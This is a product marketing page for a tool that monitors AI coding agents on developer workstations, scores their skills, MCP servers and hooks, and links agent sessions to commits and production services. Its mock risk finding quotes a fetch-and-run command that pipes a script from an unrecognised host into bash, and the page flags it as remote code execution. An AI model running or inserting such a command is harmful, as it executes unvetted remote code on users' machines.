.svg)
Solutions
Maintain visibility and control over software creation
See every coding agent, what it loads and what it builds, from the prompt to production.
Agents · Security postureLast 30 days
214Workstations
1,862Agent sessions
148Skills
38Remote MCP servers
17Shell hooks
9High / critical
Claude CodeCodexCursorOpenCodeCopilot Chat
The challenge
Coding agents run on every laptop. Few teams can see what they load or what they build.
On each developer laptop
Each laptop
Skills
MCP servers
Shell hooks
Agent sessions
Which agent wrote this code?Unknown
Is it running in production?Unknown
Who fixes it?Unknown
Agents
Every coding agent, on every machine.
The Workstation Sensor reports the agents, skills, MCP servers and hooks on each machine.
Claude Code, Codex, Cursor, OpenCode, Copilot Chat
Changes since the last snapshot
MCP credentials stripped before upload
Workstations214 reporting
WorkstationUserAgentsSkillsMCPWorst score
laptop-0142mleeClaude CodeCursor12491
laptop-0219rpatelClaude Code19728
laptop-0377jchenCodex6288
laptop-0408skimCopilot Chat3195
laptop-0219 · changes since the last snapshot+ skillrelease-helper+ MCP serverstripe-admin · remote
What agents load
Skills, hooks and MCP configs, scored.
Every agent file gets a safety score from 0 to 100 and an assessed intent.
Deterministic rules plus model review
External hosts rated by reputation
Risky new files blocked at the PR
.claude/skills/release-helper/SKILL.mdAt Risk
28of 100
Assessed intent
Suspicious High confidence
Static risk
LLM risk
External risk
HighInsecure Shell Pipecurl -s https://get.toolcdn.io/i.sh | bash
ModelRemote Code Execution
InfoReferenced External System · toolcdn.io, unrecognized
PR Guardrails · Agent File Static FindingsBlock
Sessions
Every agent session, on record.
Prompts, tool calls and the commits they produced, session by session.
The full conversation, event by event
Commits linked to the session
Secrets in transcripts detected, values not stored
Add retries to the payment clientSession
Claude Codelaptop-0142 · mleeacme/payments-api
OverviewConversationSkillsCommitsSub-agentsDetections
Add retries with backoff to the payment client
Edit payments/client.py+38 −6
Bash pytest tests/payments41 passed
git commit a41c9e2feature/payment-retry
42Tool invocations
186kNon-cached tokens
a41c9e2Commit
Lineage
From the prompt to production, one thread.
The Context Engine connects each agent session to the code, pipeline and running service it became.
Developermleelaptop-0142, guided the agent
Agent sessionClaude Code"Add retries to the payment client" · 42 tool callsView the conversation
Commita41c9e2feature/payment-retry
Repositoryacme/payments-apiTeam Payments
Pipelinerelease.ymlrun #812
Runningpayments-apiECS prod-us · Internet accessible
Which agent wrote this?Claude Codeguided by mlee, conversation on record
Is it running?payments-apiprod-us, internet accessible
Who fixes it?Team Paymentsowner of acme/payments-api
See every agent, and everything it builds.
